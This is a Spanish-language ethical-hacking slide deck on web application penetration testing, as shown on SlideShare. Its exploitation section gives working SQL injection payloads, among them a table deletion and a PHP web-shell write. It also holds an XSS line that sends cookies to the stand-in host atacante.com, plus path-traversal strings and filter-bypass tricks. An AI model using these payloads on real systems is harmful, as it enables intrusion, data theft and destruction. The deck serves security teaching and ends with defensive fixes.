SlideShare ist ein Scribd-Unternehmen logo
1 von 58
Downloaden Sie, um offline zu lesen
HACKING ÉTICO:HACKING ÉTICO:
PENTEST DE APLICACIONES
WEB
Realizada por: Eduardo Arriols
Yo.
Estudiante de 2º de Ingeniería Inf.
Aficionado a la Seguridad Informática y elAficionado a la Seguridad Informática y el
Hacking.
He trabajado en algunas empresas como auditor
de seguridad.
Titulado como experto en Seguridad Informática
por la Unv. De Salamanca (Certyred)por la Unv. De Salamanca (Certyred)
Twitter: @hackingeticoweb
Youtube: /user/hackingeticoweb
Pentest de Aplicaciones Web
Índice:
1. Introducción1. Introducción
2. Footprinting y Fingerprinting
3. Búsqueda de vulnerabilidades
4. Explotación de vulnerabilidades
5. Soluciones
1. Introducción: Test de intrusión o Pentest
Test de Intrusión o Pentest
Método para evaluar la seguridad de un sistema o
red de sistemas de información simulando el ataquered de sistemas de información simulando el ataque
realizado por un intruso.
Fases:
Footprinting y Fingerprinting
Búsqueda de Vulnerabilidades
Explotación de Vulnerabilidades (PoC)
Solución / Informe
Test de Intrusión o Pentest
Fases Test de Intrusión para un auditor:
Test de Intrusión o Pentest
Fases Test de Intrusión para un atacante:
Metodologías
Nos sirven como guía, permitiéndonos seguir un
orden en todas las posibles pruebas a realizar.orden en todas las posibles pruebas a realizar.
Entre las mas importantes, sobre todo a nivel web
esta OWASP (Open Web Application Security
Project).
A nivel general OSSTMM también es muy
importante, ya que abarca todos los campos.
2. Footprinting y Fingerprinting
¿Qué es?
Primeras fases de un test de intrusión donde se va a
buscar toda la información posible del objetivo.buscar toda la información posible del objetivo.
Footprinting: Obtención de información publica
acerca del objetivo. (Menos útil a nivel web).
Fingerprinting: Obtención de información acerca
del SO, de la versión del servidor… (Menos útil a
nivel web).
Footprinting
Esencial para elaborar un ataque sofisticado
posterior.posterior.
No intrusivo, la entidad no debe detectarlo.
Recopilar mayor cantidad de información publica.
Tipos:
Activo: Se realizan pruebas contra los sistemas.Activo: Se realizan pruebas contra los sistemas.
Pasivo: En ningún momento nos conectamos con el
sistema a auditar.
Footprinting
Esta fase tiene mas sentido cuando se auditan
sistemas informáticos grandes como el de algunasistemas informáticos grandes como el de alguna
empresa.
Recopilación Pasiva:
Búsqueda con Google (Hacking Google) y otros
buscadores.buscadores.
Obtención de “vecinos web” de la aplicación.
Recopilación Activa (Utilización de Proxys):
Familiarizarse con la aplicación .
Footprinting
Google Hacking:
Solo urls de la web auditada:Solo urls de la web auditada:
Site:empresa.com
Tecnología que usa (php,asp,aspx…):
Site:empresa.com inurl:”.php?”
Paginas con links a la web auditada:
Link:empresa.com
Archivos txt:Archivos txt:
Site:empresa.com ext:txt
Busquedas avanzadas:
Buscando SQLi:
Site:empresa.com inurl:”.php?” “Warning mysql_fetch_array()”
Footprinting
Obtención de “vecinos web”:
Robtex.com (Nos da + opciones)Robtex.com (Nos da + opciones)
Serversniff.net/content.php?do=hostonip
Myipneighbors
Recopilación activa:
Navegar por la web y familiarizarse con ella.
Comprender la lógica de la aplicación.
Fingerprinting
A veces incluido dentro de fase de obtención de
información (activo).información (activo).
Buscamos:
Identificar las versiones y los servicios que ofrece el
sistema a auditar.
Identificación de sistemas operativos, elementos de red,Identificación de sistemas operativos, elementos de red,
etcétera.
Identificación de firewalls (WAF), IDS y CMS
Fingerprinting
Identificación las versiones y el SO:
Búsqueda de banners/errores en la aplicación.Búsqueda de banners/errores en la aplicación.
Utilización de herramientas (Identificacion de CMS)
Joomscan y wpscan (Joomla o Wordpress)
Utilización de crawlers para conocer la estructura
de la aplicación (DirBuster).
Comprobar si tiene algún tipo de WAF o IDS.
Herramienta: Waffit
Pruebas:
Footprinting Fingerprinting
Google Hacking
Buscar “vecinos web”
de uam.es
Búsqueda de banners
y mensajes de error
Utilizar DirBuster
Comprobar si existe
WAFWAF
Identificar CMS
Navegación Anónima
Antes de continuar es importante saber como
podemos navegar de forma anónima, algopodemos navegar de forma anónima, algo
necesario incluso cuando estamos realizando un
pentest y la empresa lo sabe.
Opciones:
Utilización de TOR
Utilización de algún proxy intermedioUtilización de algún proxy intermedio
Navegación mediante proxy
Navegación Anónima
Utilización de TOR (https://www.torproject.org/):
Comandos para iniciarlo (Ya esta instalado):Comandos para iniciarlo (Ya esta instalado):
cd tor-browser_es-ES/
. /start-tor-browser
Utilizar proxy intermedio (Configurar navegador):
Por ejemplo: http://www.samair.ru/proxy/Por ejemplo: http://www.samair.ru/proxy/
Navegar desde proxy:
Por ejemplo: http://glypeproxy.com/
3. Búsqueda de Vulnerabilidades
Búsqueda de Vulnerabilidades
Una vez sabemos como funciona la aplicación y
tenemos identificados los posibles puntos detenemos identificados los posibles puntos de
entrada es hora de buscar las diferentes
vulnerabilidades.
Tipos:
SQL Injection
XSSXSS
RFI / LFI (+ Path Transversal)
Por versiones de Software
Búsqueda de Vulnerabilidades
SQL Injection:
Técnica que permite la manipulación de las consultasTécnica que permite la manipulación de las consultas
que la aplicación realiza a la Base de Datos.
Identificar los “Input” de la aplicación que se
relacionan con la Base de Datos e intentar modificarla
o hacer que falle (Añadiendo..):
Una ‘Una ‘
Viendo si cambia al introducir:
And 1=1
And 1=0
Búsqueda de Vulnerabilidades
XSS:
Vulnerabilidades que permiten la modificación delVulnerabilidades que permiten la modificación del
código fuente de la aplicación.
Pueden ser:
Persistentes: Cuando el código modificado se almacena.
Reflejado: Cuando el código modificado se elimina al
cargar de nuevo la pagina.cargar de nuevo la pagina.
Forma de descubrirlo:
Intentar introducir: “/><script>alert(123)</script>
Viendo el código fuente de la aplicación.
Búsqueda de Vulnerabilidades
RFI / LFI (+ Path Transversal)
LFI: Nos permite cargar archivos del sistema como porLFI: Nos permite cargar archivos del sistema como por
ejemplo el archivo de contraseñas de linux
(/etc/passwd).
RFI: Nos permite cargar código de una pagina externa,
lo que hace que se puedan utilizar webshells remotas
que veremos mas adelante.
Identificación (Ejemplo):
Url: “index.php?page=http://google.com”
Búsqueda de Vulnerabilidades
Por versiones de Software:
Buscar con la información obtenida de la primera faseBuscar con la información obtenida de la primera fase
posibles exploits y vulnerabilidades para el sistema a
auditar.
Paginas donde buscar:
http://www.exploit-db.comhttp://www.exploit-db.com
http://www.securityfocus.com
Búsqueda de Vulnerabilidades
Herramientas:
Nikto: Permite una búsqueda de vulnerabilidades sobreNikto: Permite una búsqueda de vulnerabilidades sobre
todo a nivel web. Nos permite hacernos una idea de
donde puede fallar la aplicación.
root@bt:/pentest/web/nikto# perl nikto.pl –host x.com
Herramientas de pago:Herramientas de pago:
Acunetix
Netsparker
Pruebas:
Búsqueda de Vulnerabilidades:
Mediante Google Hacking encontrar web
vulnerables a SQL Injection
Encontrar XSS comprobando código fuente
Leer archivo distinto al predefinido (LFI)
Cargar Google.com (RFI)Cargar Google.com (RFI)
4. Explotación de Vulnerabilidades
Explotación de Vulnerabilidades
En esta fase vamos a ver de que formas podría un
atacante sacar información confidencial o modificaratacante sacar información confidencial o modificar
la aplicación web.
Las técnicas que vamos a ver son:
SQL Injection (Union, Blind, Time-base…)
XSS (Reflejado y persistente)XSS (Reflejado y persistente)
RFI / LFI (+ Path Transversal)
Técnicas de Bypass
Curiosidades
SQL Injection
Durante la formación vamos a ver los siguientes
tipos de inyección SQL:tipos de inyección SQL:
Mediante UNION
Boolean-base Blind SQLi (A ciegas)
Time-Base Blind SQLi (Basadas en tiempo)
Heavy Queries SQLi (Consultas pesadas)
Stack Queries SQLi (Consultas apiladas)Stack Queries SQLi (Consultas apiladas)
De SQL Injection a RFI
SQL Injection (Mediante UNION)
Sacar información básica (usuario, DB…):
Dejamos la consulta de la aplicación vacíaDejamos la consulta de la aplicación vacía
Buscamos el numero de columnas que tiene la consulta
para poder realizar nuestra propia consulta mediante
“UNION”
Sacamos información mediante:
User(),database(),@@version,@@datadir…User(),database(),@@version,@@datadir…
SQL Injection (Mediante UNION)
Sacar tablas de la BD
Utilizamos la tabla: information_schema.tablesUtilizamos la tabla: information_schema.tables
De ahí sacamos que tablas hay en la base de datos
Utilización de “limit N,1” para sacar las distintas
tablas
Sacar columnas de las tablas
Idéntico al anterior pero utilizando
information_schema.columns
SQL Injection (Mediante UNION)
Sacar registros de las tablas
Con la información obtenida construimos la consultaCon la información obtenida construimos la consulta
que queremos como:
… UNION SELECT usuario,password FROM usuarios LIMIT
0,1
Pudiendo así ir sacando todos los registros de la tabla,Pudiendo así ir sacando todos los registros de la tabla,
en caso de que no nos dejara todos a la vez.
Boolean-base Blind SQLi
En este caso, nos enfrentamos a una situación en la
que el atacante no recibe ningún tipo deque el atacante no recibe ningún tipo de
información por pantalla. Y habrá que ir
realizando consultas y fijándonos si el resultado es
positivo o negativo (Situación Booleana).
Hay que ir extrayendo letra por letra todo la
información. Ejemplo:información. Ejemplo:
Ejemplo:
… UNION SELECT 1, substr(pass,1,1)=‘a’ from usuarios
Time-Base Blind SQLi
Son situaciones similares a la anterior, donde la
aplicación no muestra ningún tipo de dato por pantalla.aplicación no muestra ningún tipo de dato por pantalla.
Pero además, ahora la aplicación tampoco cambiara
entre dos opciones (la condición cierta y la falsa)…
Aun así no esta todo perdido, es posible realizar otras
consultas donde lo que nos va a indicar si es cierta o no
la consulta será el tiempo de respuesta de la base dela consulta será el tiempo de respuesta de la base de
datos.
Ej:
… UNION SELECT 1, substr(pass,1,1)=‘a’ from usuarios and sleep(5)
Heavy Queries SQLi
Esta técnica es una variante de la anterior, pero
donde para complicar mas las cosas la opcióndonde para complicar mas las cosas la opción
sleep() esta filtrada…
En este caso deberemos realizar consultas pesadas,
que provoquen que la base de datos tarde mucho
en responder, logrando el mismo efecto que con
sleep() aunque menos preciso.sleep() aunque menos preciso.
Para esta técnica MySQL no tiene tantas opciones
como Postgres o Mssql.
Heavy Queries SQLi
Ej:
… UNION SELECT 1, substr(pass,1,1)=‘a’ from usuarios… UNION SELECT 1, substr(pass,1,1)=‘a’ from usuarios
and 1=(SELECT COUNT(*) FROM
information_schema.columns as a,
information_schema.columns as b,
information_schema.columns as c,
information_schema.columns as d,
information_schema.columns as e)
Esta consulta tarda unos 5 segundos en realizarse.
Stack Queries SQLi
Esta ultima técnica que vamos a ver es sin duda la
mas peligrosa.mas peligrosa.
Hasta ahora todas las técnicas que hemos visto nos
permitían obtener información, pero no modificarla.
En cambio ahora si vamos a poder hacerlo
mediante la apilación de consultas. Con ello
podremos en una sola petición realizar varias
consultas (Separadas por ‘;’).consultas (Separadas por ‘;’).
Ej (Borrado completo de la tabla usuarios):
… AND 1=0; DELETE FROM usuarios
De SQL Injection a RFI
Con esta ultima técnica vamos a ver una de las
formas de lograr obtener un RFI mediante unaformas de lograr obtener un RFI mediante una
inyección SQL.
En el ejemplo crearemos un archivo php que
podremos llamar desde el navegador introduciendo
en el parámetro ‘cmd’ la url de la WebShell,
obteniendo el control del servidor completo.
Ej:
… UNION SELECT 1,’<?php include($_GET[$cmd]);
?>’ INTO OUTFILE ‘/prueba.php’
XSS
Vulnerabilidad que principalmente se utiliza para el
robo de cookies o credenciales, pero también pararobo de cookies o credenciales, pero también para
realizar ‘defaces’ de webs, instalar keyloggers,
troyanización de navegadores…
Tipos:
Reflejado: Permite únicamente el robo de cookies o
credenciales. Se basa en la ejecución de código por parte
del navegador al interpretar la url(Independiente).del navegador al interpretar la url(Independiente).
Persistente: Permite todos los tipos de ataques anteriores, es
menos común de encontrar. Los datos son guardados en el
servidor, y servidos a todos aquellos que visiten la pagina.
XSS
Ejemplo de robo de cookies (Reflejado):
<script>document.location="http://atacante.com/robo<script>document.location="http://atacante.com/robo
_cookies.php?cookie=" + document.cookie</script>
Esto permite que el atacante robe los datos y pueda
logearse en la aplicación modificando sus cookies.
Realización de deface (Persistente):Realización de deface (Persistente):
Cargar pagina externa
Modificar la pagina actual con código Javascript
RFI / LFI
RFI (Remote File Inclusion): Permite cargar en el
servidor código que se encuentra en otro servidor.servidor código que se encuentra en otro servidor.
Normalmente se utiliza para subir una WebShell y
tomar el control del servidor.
Es complicado encontrar este tipo de vulnerabilidades,
ya que se necesita que se den una serie de
condiciones…condiciones…
Para explotarlo únicamente seria necesario cargar la
url donde se encuentre la WebShell, siempre en txt
debido a que sino se ejecutaría en nuestro servidor.
RFI / LFI
LFI: Nos permite acceder a ficheros del servidor de
carácter privado. Para ello normalmente se hace uso
del Path Transversal, que es una técnica para ir
carácter privado. Para ello normalmente se hace uso
del Path Transversal, que es una técnica para ir
saltando de directorio.
Ej:
Aplicación: ?page=index.php
Atacante: ?page=../../../../../../../../../../etc/passwd
Consiguiendo con esto acceso al archivo /etc/passwd del
servidor.
Técnicas de Bypass
En algunas aplicaciones que se encuentra ‘seguras’
se filtran una serie de cadenas para evitar que sese filtran una serie de cadenas para evitar que se
lleven acabo ciertas técnicas como SQLi o XSS.
Pero en la inmensa mayoría resulta trivial
saltárselas realizando pequeñas modificaciones.
Bypass de filtros en:
SQL InjectionSQL Injection
XSS
Técnicas de Bypass (SQLi)
Con estas técnicas básicas es posible saltarse la gran
mayoría de filtros, debido a que únicamente buscaranmayoría de filtros, debido a que únicamente buscaran
la palabra exacta y no pequeñas variaciones.
Alternar May. Y Min: … uNiOn SelEcT 1,2
AND Filtrado: Sustituir AND por %26%26
OR Filtrado: Sustituir OR por ||OR Filtrado: Sustituir OR por ||
Uso de comentarios:
… uNi/**/On Sel/**/EcT 1,2
Tecnicas de Bypass(XSS)
En el caso de XSS es similar…
Caracteres ‘<’ y ‘>’ filtrados: Sustituirlos por %3c y
%3e (Su valor en ascii)
Palabras como script filtradas:
Intercalar May. y Min.Intercalar May. y Min.
Uso de comentarios: <scr<--comentario-->ipt>
Uso de URL Encode, etc…
Curiosidades
Buscadores como arma de destrucción masiva:
Indexar una url vulnerable a Stack Queries SQLi enIndexar una url vulnerable a Stack Queries SQLi en
buscadores como Google, Bing… Lo que podría
permitir que cada cierto tiempo a dicha aplicación se
le borrara la DB.
Troyanizacion de navegadores:Troyanizacion de navegadores:
Mediante la herramienta BeEF es posible troyanizar los
navegadores de todas aquellas personas que entren
en una pagina vulnerable a XSS Persistente.
Pruebas
Explotación de Vulnerabilidades: SQL Injection
Obtener información privada de la aplicación
Descubrir Boolean-Base Blind SQLi
Descubrir Time-Base Blind SQLi
Bypass de filtro SQL Injection
Lograr RFI desde SQL Injection
Pruebas
XSS RFI / LFI
Realizar XSS
Reflejado
Introducir XSS
Persistente con un
comentario
Acceso a archivos
privados del serv.
Utilización de una
WebShell
comentario
Salto de filtro XSS
Soluciones
Soluciones
La gran mayoría de fallos vistos se podrían evitar si
desde un principio se hubieran implementado medidasdesde un principio se hubieran implementado medidas
de seguridad, normalmente con un correcto tratamiento
de todos aquellos input es suficiente.
Daremos una solución sencilla pero efectiva a los
ataques vistos (SQLi, XSS, RFI/LFI)
Como por ejemplo, si se espera un numero, utilizar funcionesComo por ejemplo, si se espera un numero, utilizar funciones
como isint en php, evitando que se introduzca otra cosa.
Aunque para asegurar realmente una aplicación a
“prueba de bombas” suele ser muy efectivo un WAF.
Soluciones
SQL Injection:
Transformar todo a ascii (evitando caracteres en hex.)Transformar todo a ascii (evitando caracteres en hex.)
Utilización de funciones propias del servidor para securizar
las consultas (php+mysql como mysql_real_query, etc…)
Realizar un filtrado de las palabras:
And, or, union, select, concat, group, from, where, sleep, etc…
XSS:
Utilizar funciones propias del lenguaje como: html_entitiesUtilizar funciones propias del lenguaje como: html_entities
Además realizar un filtrado tanto de comentarios como de
caracteres especiales.
Dejar todo en minúsculas o mayúsculas.
Soluciones
RFI / LFI:
Desactivar características del servidor web como:Desactivar características del servidor web como:
allow_url_fopen
allow_url_include
Que eviten que un atacante pueda incluir archivos tanto
remotos como locales.
Evitar el uso de ciertas funciones como:Evitar el uso de ciertas funciones como:
Include
Require
Require_once
…
Fin …
Una vez hemos visto como realizar un proceso de
pentest o test de intrusión completo a una
aplicación web, siguiendo todas y cada una de sus
fases desde la obtención de información hasta la
solución de las vulnerabilidades, es hora de…solución de las vulnerabilidades, es hora de…
!Aun queda lo mas divertido!
5. Wargame
Wargame
Una vez hemos aprendido las técnicas mas
utilizadas tanto por los atacantes como por loutilizadas tanto por los atacantes como por lo
pentesters es hora de demostrar todo lo que sabéis.
Se os pondrán una serie de retos que deberéis
intentar realizar lo antes posible, quien al final
sume mas puntos será el ganador asique…sume mas puntos será el ganador asique…
Suerte!!
Wargame
Retos a realizar:
Obtener Usuarios 30 puntosObtener Usuarios 30 puntos
Logearse como usuario 50 puntos
Obtener datos bancarios 30 puntos
Modificar datos bancarios (Ayudar a pette) 150 pts
Deface sencillo de la pag. Principal 100 puntos
Ejecutar comandos en el SO 75 puntosEjecutar comandos en el SO 75 puntos
Lectura del fichero: C:/xampp/premio.php 20
puntos
ESPERO QUE LO HAYÁIS DISFRUTADO Y
APRENDIDO MUCHO DE LA FORMACIÓN.
PARA MI HA SIDO UN PLACER Y YA SABÉIS QUE
PARA LO QUE NECESITÉIS NO DUDÉIS EN
PONEROS EN CONTACTO CONMIGO!PONEROS EN CONTACTO CONMIGO!
UN SALUDO A TOD@S!
GRACIAS.
GRACIAS EN ESPECIAL A:
ROBERTO LOPEZROBERTO LOPEZ
ÁLVARO ORTIGOSA
ÁLVARO GOMEZ (J0K3N)
Realizada por: Eduardo Arriols

Weitere ähnliche Inhalte

Was ist angesagt?

Bilişim Sistemlerinde Adli Bilişim Analizi ve Bilgisayar Olayları İnceleme
Bilişim Sistemlerinde Adli Bilişim Analizi ve Bilgisayar Olayları İncelemeBilişim Sistemlerinde Adli Bilişim Analizi ve Bilgisayar Olayları İnceleme
Bilişim Sistemlerinde Adli Bilişim Analizi ve Bilgisayar Olayları İnceleme
BGA Cyber Security
 
Encoded Attacks And Countermeasures
Encoded Attacks And CountermeasuresEncoded Attacks And Countermeasures
Encoded Attacks And Countermeasures
Marco Morana
 

Was ist angesagt? (20)

Bilişim Sistemlerinde Adli Bilişim Analizi ve Bilgisayar Olayları İnceleme
Bilişim Sistemlerinde Adli Bilişim Analizi ve Bilgisayar Olayları İncelemeBilişim Sistemlerinde Adli Bilişim Analizi ve Bilgisayar Olayları İnceleme
Bilişim Sistemlerinde Adli Bilişim Analizi ve Bilgisayar Olayları İnceleme
 
Encoded Attacks And Countermeasures
Encoded Attacks And CountermeasuresEncoded Attacks And Countermeasures
Encoded Attacks And Countermeasures
 
Kablosuz Ağlarda Adli Analiz
Kablosuz Ağlarda Adli AnalizKablosuz Ağlarda Adli Analiz
Kablosuz Ağlarda Adli Analiz
 
DNS hijacking using cloud providers – No verification needed
DNS hijacking using cloud providers – No verification neededDNS hijacking using cloud providers – No verification needed
DNS hijacking using cloud providers – No verification needed
 
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
 
Zafiyet tespiti ve sizma yöntemleri
Zafiyet tespiti ve sizma yöntemleriZafiyet tespiti ve sizma yöntemleri
Zafiyet tespiti ve sizma yöntemleri
 
WAFs.pptx
WAFs.pptxWAFs.pptx
WAFs.pptx
 
Ataques informaticos
Ataques informaticosAtaques informaticos
Ataques informaticos
 
TCP/IP Ağlarda Parçalanmış Paketler ve Etkileri
TCP/IP Ağlarda Parçalanmış Paketler ve EtkileriTCP/IP Ağlarda Parçalanmış Paketler ve Etkileri
TCP/IP Ağlarda Parçalanmış Paketler ve Etkileri
 
Web uygulama açıklıklarından faydalanarak sistem ele geçirme
Web uygulama açıklıklarından faydalanarak sistem ele geçirmeWeb uygulama açıklıklarından faydalanarak sistem ele geçirme
Web uygulama açıklıklarından faydalanarak sistem ele geçirme
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)
 
SSRF workshop
SSRF workshop SSRF workshop
SSRF workshop
 
Açık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma son
Açık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma   sonAçık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma   son
Açık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma son
 
File upload vulnerabilities & mitigation
File upload vulnerabilities & mitigationFile upload vulnerabilities & mitigation
File upload vulnerabilities & mitigation
 
Web Exploitation Security
Web Exploitation SecurityWeb Exploitation Security
Web Exploitation Security
 
Cross Site Request Forgery
Cross Site Request ForgeryCross Site Request Forgery
Cross Site Request Forgery
 
Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)
Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)
Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)
 
Types of Malware (CEH v11)
Types of Malware (CEH v11)Types of Malware (CEH v11)
Types of Malware (CEH v11)
 
Wazuh Security Platform
Wazuh Security PlatformWazuh Security Platform
Wazuh Security Platform
 
Demo of security tool nessus - Network vulnerablity scanner
Demo of security tool nessus - Network vulnerablity scannerDemo of security tool nessus - Network vulnerablity scanner
Demo of security tool nessus - Network vulnerablity scanner
 

Andere mochten auch

Divulgación del trabajo de la Brigada de Investigación Tecnológica
Divulgación del trabajo de la Brigada de Investigación TecnológicaDivulgación del trabajo de la Brigada de Investigación Tecnológica
Divulgación del trabajo de la Brigada de Investigación Tecnológica
navajanegra
 
Delitos cibernéticos
Delitos cibernéticosDelitos cibernéticos
Delitos cibernéticos
Jluisv
 

Andere mochten auch (9)

Hacking etico remington
Hacking etico remingtonHacking etico remington
Hacking etico remington
 
Hacking etico
Hacking eticoHacking etico
Hacking etico
 
II Taller Hacking Ético - Hackeando éticamente tu router - Universidad Córdoba
II Taller Hacking Ético - Hackeando éticamente tu router - Universidad CórdobaII Taller Hacking Ético - Hackeando éticamente tu router - Universidad Córdoba
II Taller Hacking Ético - Hackeando éticamente tu router - Universidad Córdoba
 
Curso de Hacking ético México
Curso de Hacking ético MéxicoCurso de Hacking ético México
Curso de Hacking ético México
 
Expo hacking etico
Expo hacking eticoExpo hacking etico
Expo hacking etico
 
Divulgación del trabajo de la Brigada de Investigación Tecnológica
Divulgación del trabajo de la Brigada de Investigación TecnológicaDivulgación del trabajo de la Brigada de Investigación Tecnológica
Divulgación del trabajo de la Brigada de Investigación Tecnológica
 
Delitos cibernéticos
Delitos cibernéticosDelitos cibernéticos
Delitos cibernéticos
 
introduccion Hacking etico
introduccion Hacking eticointroduccion Hacking etico
introduccion Hacking etico
 
Taller Hacking Ético #Sysmana2012
Taller Hacking Ético #Sysmana2012Taller Hacking Ético #Sysmana2012
Taller Hacking Ético #Sysmana2012
 

Ähnlich wie Hacking ético [Pentest]

Samurai Web Testing Framework 2.0
Samurai Web Testing Framework 2.0Samurai Web Testing Framework 2.0
Samurai Web Testing Framework 2.0
Alonso Caballero
 
Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]
Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]
Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]
RootedCON
 
Guia vivi
Guia viviGuia vivi
Guia vivi
viviana
 

Ähnlich wie Hacking ético [Pentest] (20)

Test de intrusion
Test de intrusionTest de intrusion
Test de intrusion
 
Hacking Ético Web
Hacking Ético WebHacking Ético Web
Hacking Ético Web
 
Test de intrusión
Test de intrusiónTest de intrusión
Test de intrusión
 
Samurai Web Testing Framework 2.0
Samurai Web Testing Framework 2.0Samurai Web Testing Framework 2.0
Samurai Web Testing Framework 2.0
 
Curso basicoseguridadweb slideshare4
Curso basicoseguridadweb slideshare4Curso basicoseguridadweb slideshare4
Curso basicoseguridadweb slideshare4
 
Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]
Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]
Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]
 
Ataque por inyección de código sql y sniffing
Ataque por inyección de código sql y sniffingAtaque por inyección de código sql y sniffing
Ataque por inyección de código sql y sniffing
 
3.redes seguridad
3.redes seguridad3.redes seguridad
3.redes seguridad
 
Present3
Present3Present3
Present3
 
Pruebas de penetración
Pruebas de penetraciónPruebas de penetración
Pruebas de penetración
 
VULNERABILITY ASSESSMENT AND EXPLOITATION
VULNERABILITY ASSESSMENT AND EXPLOITATIONVULNERABILITY ASSESSMENT AND EXPLOITATION
VULNERABILITY ASSESSMENT AND EXPLOITATION
 
4.test de penetración pentest
4.test de penetración   pentest4.test de penetración   pentest
4.test de penetración pentest
 
Seguridad web
Seguridad webSeguridad web
Seguridad web
 
Bajo Ataque 2.pptx
Bajo Ataque 2.pptxBajo Ataque 2.pptx
Bajo Ataque 2.pptx
 
Herramientas de análisis de vulnerabilidades
Herramientas de análisis de vulnerabilidadesHerramientas de análisis de vulnerabilidades
Herramientas de análisis de vulnerabilidades
 
Tests de intrusión. Análisis de seguridad en GNU/Linux
Tests de intrusión. Análisis de seguridad en GNU/LinuxTests de intrusión. Análisis de seguridad en GNU/Linux
Tests de intrusión. Análisis de seguridad en GNU/Linux
 
Vulnerability assessment and exploitation
Vulnerability assessment and exploitationVulnerability assessment and exploitation
Vulnerability assessment and exploitation
 
Inyecciones sql para aprendices
Inyecciones sql para aprendicesInyecciones sql para aprendices
Inyecciones sql para aprendices
 
Guia vivi
Guia viviGuia vivi
Guia vivi
 
Guia 1diana
Guia 1dianaGuia 1diana
Guia 1diana
 

Mehr von Eduardo Arriols Nuñez

Mehr von Eduardo Arriols Nuñez (15)

Introducción a los ejercicios de Red Team
Introducción a los ejercicios de Red TeamIntroducción a los ejercicios de Red Team
Introducción a los ejercicios de Red Team
 
Red Team: Auditando los procesos de detección y respuesta a incidentes
Red Team: Auditando los procesos de detección y respuesta a incidentesRed Team: Auditando los procesos de detección y respuesta a incidentes
Red Team: Auditando los procesos de detección y respuesta a incidentes
 
Technical Approach to Red Team Operations
Technical Approach to Red Team OperationsTechnical Approach to Red Team Operations
Technical Approach to Red Team Operations
 
Cyber Threats on the Industrial Environment
Cyber Threats on the Industrial EnvironmentCyber Threats on the Industrial Environment
Cyber Threats on the Industrial Environment
 
Red Team: Un nuevo enfoque para auditar controles de Ciberseguridad
Red Team: Un nuevo enfoque para auditar controles de CiberseguridadRed Team: Un nuevo enfoque para auditar controles de Ciberseguridad
Red Team: Un nuevo enfoque para auditar controles de Ciberseguridad
 
Vulnerando Entornos Critios: Smart-Cities, Smart-Buildings y Grandes Corporac...
Vulnerando Entornos Critios: Smart-Cities, Smart-Buildings y Grandes Corporac...Vulnerando Entornos Critios: Smart-Cities, Smart-Buildings y Grandes Corporac...
Vulnerando Entornos Critios: Smart-Cities, Smart-Buildings y Grandes Corporac...
 
Como Pedro por su Smart-Building
Como Pedro por su Smart-BuildingComo Pedro por su Smart-Building
Como Pedro por su Smart-Building
 
¿Como es el trabajo de un Hacker?
¿Como es el trabajo de un Hacker?¿Como es el trabajo de un Hacker?
¿Como es el trabajo de un Hacker?
 
¿Alguna vez has pensado que te gustaría ser "hacker"?
¿Alguna vez has pensado que te gustaría ser "hacker"?¿Alguna vez has pensado que te gustaría ser "hacker"?
¿Alguna vez has pensado que te gustaría ser "hacker"?
 
Hacking Físico: Vulnerando entornos, evadiendo sensores... ¿Misión Imposible?
Hacking Físico: Vulnerando entornos, evadiendo sensores... ¿Misión Imposible?Hacking Físico: Vulnerando entornos, evadiendo sensores... ¿Misión Imposible?
Hacking Físico: Vulnerando entornos, evadiendo sensores... ¿Misión Imposible?
 
Red Team: Next Generation Penetration Testing
Red Team: Next Generation Penetration TestingRed Team: Next Generation Penetration Testing
Red Team: Next Generation Penetration Testing
 
Physical Penetration Testing (RootedCON 2015)
Physical Penetration Testing (RootedCON 2015)Physical Penetration Testing (RootedCON 2015)
Physical Penetration Testing (RootedCON 2015)
 
Red Team: Un cambio necesario para la visión holística de la ciberseguridad
Red Team: Un cambio necesario para la visión holística de la ciberseguridadRed Team: Un cambio necesario para la visión holística de la ciberseguridad
Red Team: Un cambio necesario para la visión holística de la ciberseguridad
 
Los sistemas informáticos de tu empresa al descubierto
Los sistemas informáticos de tu empresa al descubiertoLos sistemas informáticos de tu empresa al descubierto
Los sistemas informáticos de tu empresa al descubierto
 
Hacking ético en aplicaciones web [SQL Injection]
Hacking ético en aplicaciones web [SQL Injection]Hacking ético en aplicaciones web [SQL Injection]
Hacking ético en aplicaciones web [SQL Injection]
 

Hacking ético [Pentest]

  • 1. HACKING ÉTICO:HACKING ÉTICO: PENTEST DE APLICACIONES WEB Realizada por: Eduardo Arriols
  • 2. Yo. Estudiante de 2º de Ingeniería Inf. Aficionado a la Seguridad Informática y elAficionado a la Seguridad Informática y el Hacking. He trabajado en algunas empresas como auditor de seguridad. Titulado como experto en Seguridad Informática por la Unv. De Salamanca (Certyred)por la Unv. De Salamanca (Certyred) Twitter: @hackingeticoweb Youtube: /user/hackingeticoweb
  • 3. Pentest de Aplicaciones Web Índice: 1. Introducción1. Introducción 2. Footprinting y Fingerprinting 3. Búsqueda de vulnerabilidades 4. Explotación de vulnerabilidades 5. Soluciones
  • 4. 1. Introducción: Test de intrusión o Pentest
  • 5. Test de Intrusión o Pentest Método para evaluar la seguridad de un sistema o red de sistemas de información simulando el ataquered de sistemas de información simulando el ataque realizado por un intruso. Fases: Footprinting y Fingerprinting Búsqueda de Vulnerabilidades Explotación de Vulnerabilidades (PoC) Solución / Informe
  • 6. Test de Intrusión o Pentest Fases Test de Intrusión para un auditor:
